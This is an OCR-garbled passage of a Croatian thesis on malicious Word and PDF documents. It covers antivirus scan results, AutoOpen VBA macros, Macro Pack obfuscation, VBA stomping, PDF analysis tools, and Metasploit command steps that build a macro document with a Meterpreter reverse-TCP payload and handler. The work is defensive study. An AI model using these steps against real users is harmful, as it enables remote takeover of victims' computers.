Slika 3.8 — VirusTotal analiza za drugi dokument

Sljedeca datoteka je napravljena pomocu Metasploita i makrokod je zlo¢udan, a izrada

takvog dokumenta opisana je u poglavlju 3.5. Rezultat analize je prikazan na slici 3.9.

3 6 \_', 36 engines detected this file

78758234f96110b21abd4c63cd3IcadBledided7od35699e0586bac212960866c

msf.docm
o docx
DETECTION DETAILS RELATIONS COMMUNITY
Ad-Aware (D) ve:Trojan.valyria. 447
Arcabit (D) vE:Trojan.valyria. 447
AVG (1) vBA:Downloader-EON [Tr]]
Baidu \j, VBA.Trojan.Agent.v
CAT-QuickHeal (D) 097M.Downloader.BKE
Cyren -’:f) PP97M/Downldr.gen
Emsisoft (D VB:Trojan.Valyria.447 (B)

Slika 3.9 — VirusTotal analiza za tre¢i dokument

Koristenje VirusTotala pokazuje da neki antivirusni programi oznac¢avaju Microsoft Word
dokumente kao zlocudne samo zato jer imaju makronaredbe S§to nije dobro jer neki
korisnici Microsoft Worda koriste makronaredbe za automatizaciju nekih zadataka. Takvi
antivirusni programi onda ne bi dozvolili otvaranje takvih dokumenata, a uopée nisu
zlo¢udni. Pozitivno je §to su samo dva antivirusna programa takva. Sljedeca datoteka je
pokazala da malo veci broj antivirusnih programa reagira kad je VBA makrokod
obfusciran, iako opet nije zlo¢udan. To bi znacilo da ti antivirusni programi ne pokusavaju

deobfuscirati kod kako bi saznali pravu funkcionalnost, ve¢ automatski oznacavaju
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dokument kao zlonamjeran. Takvih antivirusnih programa opet nema puno, ali postoje.
Zloc¢udni dokument je 36 od 62 antivirusna programa oznacilo kao zlo¢udan, a medu njima
su i popularniji antivirusni programi poput Kaspersky, McAffe, ESET i Sophos. Neki
antivirusni programi su prepoznali i $to radi, u ovom sluc¢aju zlo¢udni kod je program za

neovlasten ulazak u sustav (engl. backdoor).

3.3. Dinamicka analiza

Dinamicka analiza napravljena je pomocu usluge Hybrid Analysis [16].

Ucitani dokument je dokument s makrokodom iz dodatka 1, a pokretanje dokumenta je na
Windows 7 operacijskom sustavu [59]. Taj makrokod nije zlocudan tako da staticka
analiza unutar Hybrid Analysisa pokazuje da je vrlo mali broj antivirusnih programa
oznac¢io dokument kao zlo¢udan [59]. CrowdStrike Falcon stati¢ka analiza pokazala je da
dokument nije zlo¢udan. U MetaDefenderu 3% antivirusnih programa je pronaslo
zlo¢udnost, a u VirusTotalu 6%. Falcon Sandbox, pomocu kojeg se radi dinamicka analiza,
oznacio je dokument kao zlo¢udan [59]. Falcon Sandbox pod zlo¢udne indikatore stavlja:
bar jedan antivirusni program ga je oznac¢io kao zlo¢udnog, pokrece nove procese, sadrzi
VBA makrokod koji ukazuje na automatsko pokretanje. Sumnjivi indikatori su: VBA
makrokodovi sa zanimljivim znakovnim nizovima i sumnjivim kljuénim rije¢ima. Falcon
Sandbox provjerava i stvarni tip datoteke i u ovom primjeru uspjesno je identificirao
format. Na slikama 3.10 i 3.11 moze se vidjeti neke od slika zaslona uslikane pri
pokretanju dokumenta. U hibridnoj analizi otkrio je pokretanje novog procesa cmd.exe iz

dokumenta.

Dinamicka analiza je korisna pri analizi potencijalno zlo¢udnih dokumenata jer prikazuje
pomoc¢u snimka zaslona §to se stvarno dogada pri pokretanju makrokodova. Takoder
otkriva koji novi procesi su se pokrenuli i neka svojstva umetnutog VBA makrokoda poput
automatskog pokretanja, sumnjivih klju¢ni rijeci i sli¢no. Sve te informacije pomazu pri
analizi makrokoda. Nedostatak Hybrid Analysisa je Sto loSije oznacava zlo¢udnost
dokumenata. Ako je bar jedan antivirusni program oznacio uzorak na analizu kao zlo¢udan
onda je i u Hybrid Analysisu oznacen kao zlo¢udan, a neki antivirusni programi se

ponasaju tako da ¢im otkriju makrokod u Word dokumentu oznacavaju ga.
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Slika 3.10 — snimka zaslona u dinamic¢koj analizi
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Slika 3.11 - snimka zaslona u dinamickoj analizi

3.4. Umetanje makrokoda

Umetanje makrokoda u Microsoft Word je podrzano kao znacajka Microsoft Worda. Slika
3.12 prikazuje kako doci do te opcije.
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Slika 3.12 — znacajka umetanja makrokodova u Microsoft Wordu

Nakon odabira ,,View Macros* otvara se novi prozor prikazan na slici 3.13.

Macros ? >
Macro name:
| Run
Step Into
Edit
Delete
Jrganizer...
Macros in: | All active templates and documents ~
Description:
Cancel

Slika 3.13 — prozor za umetanje makrokodova

Za ime makronaredbe se upisuje AutoOpen kako bi se makronaredba pokrenula pri

otvaranju dokumenta te se onda otvara novi prozor gdje se upisuje proizvoljni VBA
makrokod.

U nastavku je jednostavni primjer VBA makrokoda koji pri otvaranju dokumenta pokrece

funkciju Malware u kojoj se otvara isko¢ni prozor s porukom ,,Malware!*.
Private Sub Malware ()
MsgBox ("Malware!™)
End Sub
Sub AutoOpen ()
Malware

End Sub

Kljuéna rije¢ Sub oznacava funkciju te se kraj funkcije mora oznaditi s End Sub.
Umjesto isko¢nog prozora moze se napisati linija koja pokrece komandnu liniju:

Shell ("C:\Windows\system32\cmd.exe")
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Moze se napraviti i drugacija .exe datoteka, na primjer pomocu Visual Studia napisati neki
kod u C++ programskom jeziku. Visual Studio ¢e automatski generirati .exe datoteku koja

se moze ubaciti u ovu liniju.
Na primjer, ako je u C++ kodu u Visual Studiu napisano:
#include<stdio.h>

#include<windows.h>

int main () {
printf ("Hello");
Sleep (10000);
}
Pri tom se stvara datoteka test.exe i takoder se mora dodati u makrokod linija:

Shell ("C:\test.exe")

Sada pri pokretanju dokumenta automatski se pokrece C++ kod koji pokrece test.exe.
Jedina obrana korisnika od napada je Sto Microsoft Word pita za dozvolu pokretanja
makronaredbi, ali pomocu tehnika socijalnog inZenjerstva moze se nagovoriti korisnika da

odobri.

Osim Microsoft Worda koji stiti korisnike i antivirusni programi ¢e pokusati detektirati
zlocudnost i1 zaustaviti zlonamjerne aktivnosti. Kako bi napadaci sakrili zlo¢udni kod

koriste obfuskaciju i VBA stomping.

Za obfuskaciju VBA makrokoda postoji alat Macro Pack. Macro Pack pri osnovnoj
obfuskaciji preimenuje funkcije i varijable, uklanja razmake i komentare te kodira

znakovne nizove [32]. Pokrece se naredbom:

macro pack.exe -f ime datoteke -G ime nove datoteke -o

Opcija -f oznaCava datoteku u kojoj je neobfuscirani makrokod, a -G datoteku gdje

korisnik zeli spremiti obfuscirani makrokod. Opcija -0 je za osnovnu obfuskaciju.

Nakon pokretanja alata s makrokodom iz dodatka 1, napravi se nova datoteka s

obfusciranim kodom u nastavku.

Const fdhcvafefi = 2
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Const darslwgnir = 1

0

Const bxpwgfwdpf
Private Sub bbpnrprrg()

MsgBox (kizpjpdjtdhe ("4d616c") &
kizpjpdjtdhe ("7761726521"))

Shell (kizpjpdjtdhe ("433a5c57696e646£77735c7379") &
kizpjpditdhe ("7374656d33325c636d4642e657865"))

End Sub

Sub AutoOpen ()
bbpnrprrg

End Sub

Private Function kizpjpdjtdhe (ByVal tftzvynjzhtp As
String) As String

Dim ielyllmmyiie As Long
For ielyllmmyiie = 1 To Len(tftzvynjzhtp) Step 2

kizpjpdjtdhe = kizpjpdjtdhe & Chr$ (Val ("&H" &
Mid$ (tftzvynjzhtp, ielyllmmyiie, 2)))

Next ielyllmmyiie
End Function

Tijekom obfuskacije funkcija Malware preimenovana je u bbpnrprrg te su uklonjeni
razmaci. Dodane su tri konstante navedene na pocetku koje ne rade nista. Znakovni nizovi

su kodirani pomoc¢u zadnje funkcije kizpjpdjtdhe.

Nije tesko saznati pravu vrijednost znakovnih nizova. U funkciji kizpjpdjtdhe koriste se
ugradene VBA funkcije: chr koja vrac¢a znak povezan s ASCII vrijednosti koja je predana
kao parametar, Val ¢ija povratna vrijednost je decimalna brojcana vrijednost nekog
znakovnog niza, Mid koja vrac¢a podniz odredene duljine. Sljedec¢a linija je koriStena za

primjer rada funkcije kizpjpdjtdhe:

MsgBox (kizpjpdjtdhe ("4d616c") &
kizpjpdijtdhe ("7761726521"))
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Funkcija kizpjpdjtdhe je pozvana dva puta, a izmedu se nalazi znak & $to znaci da ¢e
spojiti povratne vrijednosti ta dva poziva funkcije u jednu vrijednost. Varijabla
ielyllmmyiie je brojac¢ koji po¢inje od jedan do duljine ulaznog znakovnog niza. Sljedece je
for petlja. Prvo se poziva Mid funkcija koja pronalazi podniz koji po¢inje od ielyllmmyiie
indeksa i duljine je 2. Na tu vrijednost se dodaje ,,&H* kako bi funkcija Val prepoznala
heksadecimalnu vrijednost i vratila decimalnu vrijednost, a Chr pronalazi ASCII znak koji
je povezan s tom heksadecimalnom vrijednosti. Primjerice, za prvi poziv funkcije s
parametrom ,,4d616c¢* stvorit ¢e se podnizovi 4d, 61 i 6¢ pomoc¢u funkcije Mid. Funkcija
Val pretvara svaki taj niz u decimalni broj, a chr pronalazi u ASCII tablici da ti nizovi

odgovaraju znakovima M, a, I. Isto tako se mogu otkriti i druge vrijednosti.

Rezultat pokretanja Macro Packa s makrokodom iz dokumenta, koji je generiran pomocu
Metasploita, se nalazi u dodatku 7. Takoder se dodaje na kraju funkcija pomocu kojeg se
kodiraju znakovni nizovi, uklonjeni su razmaci, a na pocetku su dodane konstante. Jedna

linija komentara nije uklonjena.

Obfuskacija Macro Packom otezava analizu zlo¢udnog programa preimenovanjem
funkcija i varijabli te kodiranjem znakovnih nizova, ali nije komplicirano otkriti kako

kodira znakovne nizove i pronaci prave vrijednosti.

Sljedeca metoda sakrivanja zlo¢udnih makronaredbi je VBA stomping, a alat koji to
omogucuje je Evil Clippy [33]. VBA stomping je metoda s kojom se VBA izvorni kod
zamijeni s pseudo-kodom, to jest prevodenom verziju makrokoda. Evil Clippy mijenja
CFBF datoteke. Datoteke tipa .doc su potpuno u CFBF formatu, a danasnje .docx datoteke
su ZIP arhive koje sadrzavaju datoteku vbaProject.bin koja je u CFBF formatu.

CFBF datoteka se sastoji od tokova koji se spremaju u spremnike. Macros spremnik sadrzi
sve vezano uz VBA makrokodove u Wordu. Najvazniji tokovi u Macros spremniku su:
PROJECT, _VBA_PROJECT, Dir, tokovi modula. Tokovi modula sadrze makrokod koji
¢e se pokrenuti. Tokovi modula se sastoje od: PerformanceCache koji nije dokumentiran

te CompressedSourceCode koji sadrzi komprimirani makrokod.

VBA stomping iskoristava PerformanceCache koji nije dokumentiran. Svaki modul ima
svoj PerformanceCache koji sadrzi prevoden pseudo-kod (p-kod) za VBA virtualni stroj.
Ako verzija specificirana u _VBA_ PROJECT odgovara verziji Worda na ra¢unalu, VBA

makrokod se ignorira i pokrece se p-kod. Znaci, ako se zna verzija Worda na ciljnom
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racunalu, zamijeni se VBA makrokod s laznim kodom i svejedno se pokreée zlo¢udni

program preko p-koda.

Ipak nakon $to se pokrene makrokod pomoc¢u p-koda VBA virtualni stroj ¢e rekonstruirati
VBA makrokod i pokazati ga u VBA uredivacu. Prvi nacin kako sakriti VBA makrokod je
da se modificira PROJECT tok tako da se obrise linija Module=Modulel gdje je Modulel
modul koji sadrzi zlocudan kod. Drugi nacin je da se PROJECT =zakljuca i napravi
nevidljivim.

Ove dvije metode sakrivaju zlo¢udni kod od ljudi, ali ne i od sigurnosnih alata, npr. alati za
dohvat p-koda. Kako alati ne bi mogli do¢i do p-koda Salju se nasumi¢na ASCII imena za
module u Dir tok koji sadrzi izgled VBA projekta. Vecina alata za analizu koriste imena
modula iz Dir toka, dok Word koristi imena modulaiz _VBA PROJECT. Zbog toga vecina

alata se srusi dok VBA makrokod se svejedno moze izvoditi.

3.5. Metasploit

Pomocu Metasploita moze se napraviti dokument sa zlonamjernim makrokodom. Koraci
su sljede¢i [34]:

use exploit/multi/fileformat/office word macro
set PAYLOAD windows/meterpreter/reverse tcp
set LHOST IP adresa

set LPORT 1000

exploit

Koristena metoda iskoriStavanja umecée zlocudni makrokod u Microsoft Word dokument
[58]. U polje za komentare u meta podacima dokumenta ubacuje se kodirani teret koje

makrokod dekodira 1 izvrSava.

KoriSteni teret reverse_tcp znaci da ¢e zrtva uspostaviti vezu s napada¢em, a ne napadac sa
Zrtvom jer zrtvin vatrozid e vjerojatno zaustaviti takav pokusaj [35]. Kod postavljanja

LHOST napadac stavlja svoju javnu IP adresu kako bi se zrtvino racunalo moglo povezati.

Meterpreter tereti omogucuju interaktivni prozor iz kojeg napada¢ moze istrazivati zrtvino

rac¢unalo i pokretati kod [36]. Za pokretanje prozora treba se napraviti sljedece korake [35]:

use exploit/multi/handler
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set

set

set

run

payload/windows/meterpreter/reverse tcp
LHOST IP adresa

LPORT 1000
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4. PDF dokumenti

Portable Document Format (PDF) je format datoteke koji je razvio Adobe za
pregledavanje datoteka neovisno o aplikacijskom softveru, hardveru i operacijskom
sustavu [37]. Moze sadrzavati tekst, slike, multimedijske elemente, linkove na web stranice
i tako dalje. Takoder, dokument moze biti zasticen lozinkom ili pokretati JavaScript kod.
PDF dokumenti napisani su u programskom jeziku utemeljenom na PostScript
programskom jeziku [37]. Takoder ima sistem koji omogucava ugradnju fonta u dokument
I koristi strukturirani sustav za pohranu kako bi bilo omoguéeno skupljanje svih elemenata
u jednu datoteku [37].

Svaki PDF dokument se sastoji od zaglavlja, tijela, xref tablice, trailer [38].

Zaglavlje je prva linija PDF dokumenta i specificira verziju koju dokument Kkoristi [38].
Primjer takve linije je %PDF-1.7. Znak % je oznaka za komentar. Druga linija je na

primjer %0640R koja obavjestava softver da dokument sadrzi binarne podatke.

U tijelu PDF se nalaze objekti koji sadrze tokove teksta, slike i sli¢no [38]. U tijelu su svi
elementi koji se prikazuju korisniku pri pregledavanju dokumenta. Objekti u PDF-u su
omedeni oznakama obj i endobj te ponekad i znakovima << i >>, ali znakovi nisu obavezni
za pravilno ¢itanje dokumenta [38]. PDF definira devet tipova objekta: boolean, broj¢ana
vrijednost, znakovni niz, ime, niz, rje¢nik, tok, null objekt, indirektni objekt. Svaki
indirektni objekt prikazan je u xref tablici, a sastoji se od reference na neki objekt u PDF-u.
Zbog toga preko xref tablice se moze brzo pristupiti indirektnom objektu i objektu koji je
referenciran u njemu. Rjecnik u PDF-u je tablica parova klju¢ i vrijednost. Klju¢ mora biti
tipa ime, a tip ime zapocinje sa znakom /. Za veliku koli¢inu podataka, poput slika, se
koristi tok. Tokovi su indirektni objekti koji se sastoje od rje¢nika i podataka koji se zele
prikazati. Ti podaci su omedeni kljuénim rije¢ima stream i endstream. U rjecniku toka se
specificiraju duljina podataka toka, tip podataka, ime filtra koji ¢e se primijeniti pri obradi
podataka i tako dalje. Svaki PDF dokument sadrzi objekte tipa katalog (engl. Catalog) i
tipa stranice (engl. Pages). Citanje PDF objekta pocinje u katalog objektu. Katalog ima
oznaku Type postavljenu na Catalog, a u katalogu se moze doznati koja verzija PDF-a se
koristi, referenca na objekt koji je korijen stabla stranica, referenca na tok koji sadrzi meta

podatke o dokumentu i sli¢no. Pomocu objekata tipa Pages definiraju se sve stranice koje
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postoje u PDF dokumentu. Svaki takav objekt predstavlja jednu stranicu, a u njemu je
specificirano Kkoji je roditelj stranice, djeca stranice te broj stranica koja nastaju iz trenutne

stranice.

Nakon tijela je xref tablica koja sadrzi reference na sve objekte u dokumentu [38]. Pomoc¢u
xref tablice moze se nasumi¢no pristupati objektima u PDF-u bez citanja cijelog

dokumenta. Sljedece je naveden primjer pocetka xref tablice:
xref
0 23
0000000010 65535 £
0000000017 00000 n
0000000166 00000 n

0000000222 00000 n

Prva linija je broj od kojeg pocinje brojanje objekta i broj objekata u PDF-u uveéana za
jedan. Zatim su linije koje predstavljaju objekte. U takvim linijama prvi broj je pomak
objekta od pocetka dokumenta, a drugi broj je broj generacije. PDF dokumenti mogu biti
preradeni te se povijest prerada sprema u dokument tako da se drugi broj u xref tablici
poveca za jedan pri svakoj preradi [39]. Zadnji podatak je zastavica koja ima vrijednost 'f'
ili 'n'. Kada je vrijednosti 'f' znaci da se objekt ne koristi u dokumentu, a vrijednost 'n' znaci

da je objekt prisutan i koristi se.

U trailer dijelu specificirano je kako bi aplikacija trebala citati PDF dokument i zato
¢itanje PDF-a pocinje od kraja datoteke [38]. Primjer izgleda trailer dijela PDF-a:

trailer

<<

/Size 19
/Root 1 0 R
/Info 7 0 R

/ID [<BADE906CFS8BEEB44882A47C15A565BC8>
<BADE9Y06CF8BEEB44882A47C15A565BC8>]

>>
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Oznaka Size prikazuje broj objekata u xref tablici. Oznaka Root oznacava koji objekt je
pocetak dokumenta. Oznaka Info pokazuje na objekt koji sadrzi informacije o dokumentu.
ID je identifikacijski broj dokumenta. Mogu se joS$ pojaviti oznake Prev, Encrypt, XrefStm.
Prev se Kkoristi ako postoji vise xref tablica i oznacava pomak prethodne xref tablice.
Encrypt specificira tip kodiranje dokumenta, a XrefStm se koristi kada se dokument
dekodira da prikazuje na pomak xref tablice.

Na kraju dokumenta su linije:
startxref

37545

o\
00

EOF

Zadnja linija je uvijek ista u svim PDF datotekama, a broj u drugoj liniji prikazuje pomak

xref tablice od pocetka dokumenta [38].

Budu¢i da PDF dokumenti imaju moguénost pokretanja JavaScript koda, Cesto se ta
znacajka koristi za umetanje zlo¢udnosti u PDF. Takoder se iskoriStava klju¢na rije¢
OpenAction koja automatski pokre¢e neku akciju pri otvaranju dokumenta. Za izradu
zlo¢udnih PDF dokumenata koristi se i moguénost umetanja dokumenata u PDF dokument,

a objekt koji sadrzi umetnuti dokument se prepoznaje po oznaci EmbeddedFile.

4.1. Alati

Alat pdfid se koristi za pretragu odredenih sumnjivih PDF kljuc¢nih rijeci kako bi korisnik
prepoznao koje PDF dokumente treba detaljnije analizirati [40]. S tim alatom se moze
saznati broj kljuénih rijeci obj i endobj, stream i endstream, koliko ima xref tablica, trailer
dijelova, startxref rije¢i, te imena Page, Encrypt, JS, JavaScript, AA, OpenAction,
EmbeddedFile i tako dalje.

Alat se pokrec¢e naredbom:
pdfid.py ime datoteke

Prvi primjer je napravljen pomoc¢u dokumenta generiranog pomoc¢u Metasploita, a izrada je
opisana u poglavlju 4.5. Taj PDF dokument pokrece Meterpreter slusaoca, a ispis alata
pdfid je prikazan naslici 4.1.
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Generirani PDF dokument koristi verziju 1.4 i ima 21 objekt. Imena koja zahtijevaju
daljnju analizu su JS i JavaScript koja pokazuju da postoji JavaScript kod u PDF-u te

imena AA i OpenAction koja ozna¢avaju automatsko pokretanje akcije.

PDF Header:

Slika 4.1 — ispis pdfid alata

Problem ovog alata je §to pretrazuje to¢no te navedene rijeci. Primjerice, ako u sadrzaju
PDF-a je napisano Embeddedfile ili EmbeddedFiles, to se nece ubrojiti pod ime

EmbeddedFile, a oba prethodno navedena imena ¢e uspjeti umetnuti datoteku.

Za pregled sadrzaja PDF datoteke moze se koristiti alat PDF parser [41]. Osim pregleda
sadrzaja, alat moze i pronaci zadani znakovni niz, pokazati sadrzaj odredenog objekta,

pokazati gdje se referencira zadani objekt, izvuéi umetnutu datoteku i tako dalje.
Pokrece se u terminalu naredbom:
pdf-parser.py ime datoteke

Za primjer je takoder koriStena datoteka generirana pomocu Metasploita. Nakon
pokretanja alata, PDF parser ispisuje sadrzaj i za svaki objekt je ispisan tip objekta i koje

objekte referencira u svom sadrzaj, na primjer:
obj 1 0
Type: /Page
Referencing: 4 0 R, 11 0 R, 2 O R

Takoder su oznaceni komentari, na primjer:

PDF Comment '$%$EOF\n'
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U sadrzaju ovog PDF-a se moze vidjeti da su brojevi objekta nasumi¢no dodijeljeni.
Tipi¢no objekt tipa katalog je prvi objekt, a u ovom primjeru je broj 12. Vjerojatno kako bi
napadac¢i otezali analizu dokumenta. Zbog istog razloga ni objekti nisu poredani po

brojevima. Neki objekti su ¢ak prazni, na primjer:
obj 3 0
Type:
Referencing:

Dokument ima dva trailer dijela sto znaci da je dokument jednom bio preraden. Svaki put

kada se PDF preradi na kraj se dodaje novi trailer, a i stari trailer se zadrzava.

Pomocu opcije -s se ispisuje u kojem objektu se pojavljuje zadana oznaka. Primjer takve
naredbe je:

pdf-parser.py -s /JS ime datoteke
Ispisuje se sadrzaj 18. objekta, to jest:
obj 18 0
Type: /Action

Referencing:

<<
/S /JavaScript

/JS (this.exportDataObject ({ cName: "Chapterl",
nLaunch: 0 });)

/Type /Action

>>

Sljedeci alat za analizu PDF dokumenata je peepdf [42]. Ako se pokrece preko komandne
linije, omogucuje pretrazivanje PDF-ovog jedinstvenog kljuéa na VirusTotalu, prikaz
informacija o dokumentu i drugo. Puno vise moguénosti se nalazi u interaktivnom nacinu

koji se pokrec¢e naredbom:

peepdf -i
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U interaktivnom nacinu prvo se mora otvoriti datoteka naredbom:

open ime datoteke

Pri otvaranju datoteke ispisuju se podaci o PDF dokumentu poput ime datoteke, veli¢ina,
verzija, je li datoteka kodirana, koliko objekta i tokova sadrzi, komentara, koji su objekti
obi¢ni objekta, a koji tokovi, koji sadrzi JavaScript kod, koji objekti sadrze sumnjive
elemente i tako dalje.

Sada se mogu Koristiti dodatne moguénosti, na primjer ispisivanje informacija 0 objektu,
sadrzaj objekta, stvaranje PDF dokumenta s umetnutim JavaScript kodom koji se pokrece

pri otvaranju, prikazivanje sadrzaja toka, kodiranje ili dekodiranje objekta.

Primjer koriStenja alata napravljen je pomocu PDF dokumenta generiranog s

Metasploitom. Izrada takvog dokumenta opisana je u poglavlju 4.5.

Nakon otvaranja dokumenta u peepdfu moze se vidjeti razlika izmedu pocetne verzije
PDF-a i verzije nastale nakon prerade. Slika 4.2 prikazuje tu razliku. U drugoj verziji ima
osam objekta i postoji samo jedan tok. Povecao se broj sumnjivih elemenata, to jest dodan
je JavaScript kod i umetnuta je datoteka.

Slika 4.2 — ispis razlike izmedu verzija PDF dokumenta

Za izvlacenje JavaScript koda moze se koristiti naredba:

extract Jjs
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Ispis je prikazan na slici 4.3. Peepdf pronalazi JavaScript kod u objektu broj 18 prve
verzije. Metoda exportDataObject izvlaci podatke iz dokumenta i sprema ih u vanjski
dokument [43]. Parametar cName je ime datotcke koja se treba izvuéi, a parametar
nLaunch oznacava hoce li se dokument otvoriti nakon §to je Spremljen. Buduéi da je

vrijednost parametra nLaunch nula, dokument se nece otvoriti.

extract j

f/ peepdf comment: Javascript code located in object 18 (wversion 1)

this.exportDatalObject({
cMame: "Chapterli”,
nLaunch: @

Slika 4.3 — ispis peepdf alata za naredbu extract js

Sadrzaj objekta 19 otkriva viSe o zlocudnosti dokumenta i prikazana je na slici 4.4. Ime /S
definira tip akcije koja ¢e se pokrenuti. Na kojem ¢e se operacijskom sustavu pokrenuti je
definirano pomoc¢u /Win, a to je na Windows operacijskom sustavu. Kljuéna rije¢ /F
oznacava §to ¢e se pokrenuti, a to je u ovom primjeru komandna linija. Ime /P definira $to
¢e biti prikazano u iskoénom prozoru, a u ovom sluéaju se moze vidjeti jedan od tipi¢nih
primjera socijalnog inZenjerstva [44]. Zeli se prevariti korisnika da je sadrzaj datoteke

kodiran i ako ga zeli pregledati da mora stisnuti gumb Open.

object 19

show this message again" box

Slika 4.4 — ispis sadrzaja 19. objekta

JavaScript kod koji je umetnut u PDF ponekad je obfusciran kako bi se sakrila njegova

funkcija. Alat za deobfusciranje JavaScripta je usluga JSNice [45]. Alat ¢ini JavaScript kod
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vise Citljivim, preimenuje funkcije i parametre u imena naucena od tisuce kodova,

pokazuje kojeg je tipa varijabla u komentarima.

Prvi primjer je obfuscirani kod iz dodatka 5. Rezultat deobfusciranja ovim alatom je:

'use strict';
/** Q@type {!Array} */
var 0x5521 = ["The number is: "];
(function (data, 1) {
/xx
* @param {number} isLE
* @return {undefined}
*/
var write = function(isLE) {
for (; --isLE;) {

data["push"] (data["shift"] ());

bi
write (++1i);
}) (_0x5521, 306);
/xx
* @param {string} level
* @param {?} ai test
* @return {?}
*/
var 0x3903 = function(level, ail test)
/** @type {number} */
level = level - 0;

var rowsOfColumns = 0x5521[level];
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return rowsOfColumns;
bi
_Ox55eecc: {

/** Q@type {string} */

var text = "";

var i;

/** Qtype {number} */

i = 0;

for (; 1 < 20; 1i++) {
/** @type {string} */

text = text + ( 0x3903("0x0"™) + 1);

Dodani su razmaci kako bi kod bio ¢itljiviji te su preimenovane imena funkcija i
parametra. No, nisu preimenovane sve varijable, a to bi dodatno pomoglo u ¢itljivosti.
Ispisani su tipovi podataka, ali na nekim dijelovima nije uspio otkriti tipove pa su ispisani
upitnici. Promijenio je i vrstu petlje. Umjesto while petlje, napisana je for petlja.

Sljede¢i primjer je deobfuscirani kod iz dodatka 4. Ispis alata je:
'use strict';
/** @type {!Array} */
var S 3268 = ["", "The number is "];
var text = S 3268[0];
var i;
/** @type {number} */
i=20;

for (; 1 < 5; i++) {
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text = text + ( $ 3268[1] + 1i);

Alat je uspjesno dekodirao znakovni niz u varijabli _$ 3268. Dodani su razmaci i u

komentarima su napisani tipovi varijabli.

Ni u jednom primjeru deobfuscirani kod nije bio isti kao pocetni kod prije obfuskacije, ali
deobfuscirani kod je lak$i za analizu. Zbog dodanih razmaka, komentara o0 tipovima
varijabli i preimenovanju funkcija, parametra i varijabla kod je postao ¢itljiviji i S time

laksi za analizu nego na pocetku.

4.2. Staticka analiza

Staticka analiza PDF dokumenata je napravljena pomocu VirusTotala.

Prvi primjer je PDF dokument s umetnutim JavaScript kodom koji samo otvara isko¢ni
prozor, to jest dokument nije zloudan. Samo je jedan antivirusni program oznacio

dokument kao zlo¢udan, §to se moze vidjeti na slici 4.5.

U kartici Details ispisane su znacajke koje se Cesto zloupotrebljavaju. U ovom slucaju
pronasao je da dokument sadrzi dva JavaScript bloka i akciju koja se automatski pokrece

kada se dokument otvori.

L J
1 (1) One engine detected this file
5e7941ddd6b0e1147cfced90c9efabTbIed3e714c43f70d28ebd5fd52381790b
js_injected_Javascript 3.pdf
autoaction Je-embedded pdf
-

DETECTION DETAILS COMMUNITY
SentinelOne (Static ML) (1) DFI- Malicious PDF
AggisLab (") Undetected
AlYac () Undetected
Arcabit (/) Undetected
Avast-Mobile (V) Undetected
Avira (no cloud) () Undetected

Slika 4.5 — VirusTotal analiza za prvi dokument
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Sljede¢i primjer je PDF dokument generiran pomocu Metasploita, Izrada takvog
dokumenta opisana je u poglavlju 4.5. Dokument sadrzi Meterpreter sluSaoca. Rezultati
analize su na slici 4.6. Veci dio programa je prepoznalo zlo¢udnost u dokumentu te ga

opisala kao Trojan ili program za neovlasten ulazak u sustav (engl. backdoor).

42 (1) a2 engines detected this file

603e71a7e2aca48e6820d372dd736567c8601c641114d010990e24 2012649890

Chapter1.pdf
— autoaction js-embedded launch-acticn pdf
-
DETECTION DETAILS COMMUNITY
Ad-Aware \_', Exploit. PDF-Dropper.Gen
AlLYac \_l, Trojan.CryptZ.Gen
Arcabit (1) Trojan.Cryptz.Gen
AVG (1) win32:swPatch [Wrm]
Baidu \_l, Multi. Threats.InArchive
BitDefenderTheta \_', Gen:NM.ZexaF.34106.eq1@akK4gaBgi

Slika 4.6 — VirusTotal analiza za drugi dokument

Iduc¢i primjer je PDF dokument generiran pomo¢u Metasploita te ima moguénost
pokretanja .exe datoteka. Napad se mozZe izvrSiti samo na starijim verzijama Adobe
Readera. Rezultati VirusTotal analize su prikazani na slici 4.7. Malo vise od polovine

antivirusnih programa je prepoznalo zlo¢udnost te da dokument sadrzi JavaScript.

Zadnji primjer je PDF dokument koji je nastao pomocu Metasploita te koristi visestruko
kodiranje kako bi se izbjegli antivirusni programi. Analiza VirusTotala je na slici 4.8.
Takav nacin sakrivanja antivirusni programi uglavnom ve¢ prepoznaju. Od popularnih
antivirusnih programa jedan nije prepoznao zlocudnost, a to je McAfee. Dok drugi

popularniji, poput Kaspersky, ESET, Sophos, jesu.
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(1) 36 engines detected this file
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5996581331dae0902d17bi30e3b3831 18c6a1c0c9ard1 3544d85c40bc7cib37h

malicious. pdf

P autoaction cve-2008-2992 exploit js-embedded pdf
DETECTION DETAILS COMMUNITY

Ad-Aware \_IJ Exploit. PDF-Name.Gen

Arcabit \_'J Exploit. PDF-Name.Gen

AVG \_',, JS:Pdfka-AK [Expl]

Baidu \_IJ JS.Exploit.Pdfka.adb

CAT-QuickHeal \_'J PDF.J5.Gen.A

Cyren (1) JsisheliCode.AX.gen

Slika 4.7 — VirusTotal analiza za tre¢i dokument

(1) 33 engines detected this file

33

6e3e8df745bd80b0fd38e72ed2204bf3310e504d27fc6407a6275c014d9013¢c5

evil.pdf
autoaction cve-2009-0837 exploit js-embedded launch-action
DETECTION DETAILS COMMUNITY
Ad-Aware (1) Exploit PDF-Dropper.Gen
AlYac (1) Exploit PDF-Dropper.Gen
Avast (1) PDF:Runner-8 [Trj]
Avira (no cloud) (1) EXPI/CVE-2009-0837
BitDefender \'i: Exploit PDF-Dropper.Gen
CAT-QuickHeal (1) Exploit. PDF Dropper.Gen{2D)

Slika 4.8 — VirusTotal analiza za ¢etvrti dokument

Staticka analiza pokazuje da samo jedan antivirusni program pogresno reagira na umetnuti
JavaScript kod koji nije zlonamjeran. Veéi broj antivirusnih programa prepoznaje PDF
dokumente koji su generirani pomocu Metasploita. Koristenje viSestrukog kodiranja
zavaralo je samo devet antivirusnih programa, ali medu njima je bio popularniji McAfee

antivirusni program.
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4.3. Dinamicka analiza

Dinamicka analiza je napravljena pomocu usluge Hybrid Analysis.

Prvi primjer je PDF dokument s umetnutim JavaScript kodom koji nije zlo¢udan. Hybrid
Analysis prvo radi statiCku analizu te rezultati pokazuju da ovaj dokument nije zlo¢udan
[60]. Niti jedan antivirusni program unutar MetaDefendera nije pronasao nista zlo¢udno. U
VirusTotalu samo 1% programa je pronaslo zlocudnost. Dinamicka analiza se radi s
Falcon Sandbox, a PDF dokument se pokrenuo na Windows 7 operacijskom sustavu.
Falcon Sandbox pronalazi jedan zlonamjerni indikator, a to je da je bar jedan antivirusni
program identificirao dokument kao zlocudan. Pronadena je jedna sumnjiva znacéajka, to
jest da dokument pokreée nove procese. Ispisuju se opcenite informacije o datoteci, poput
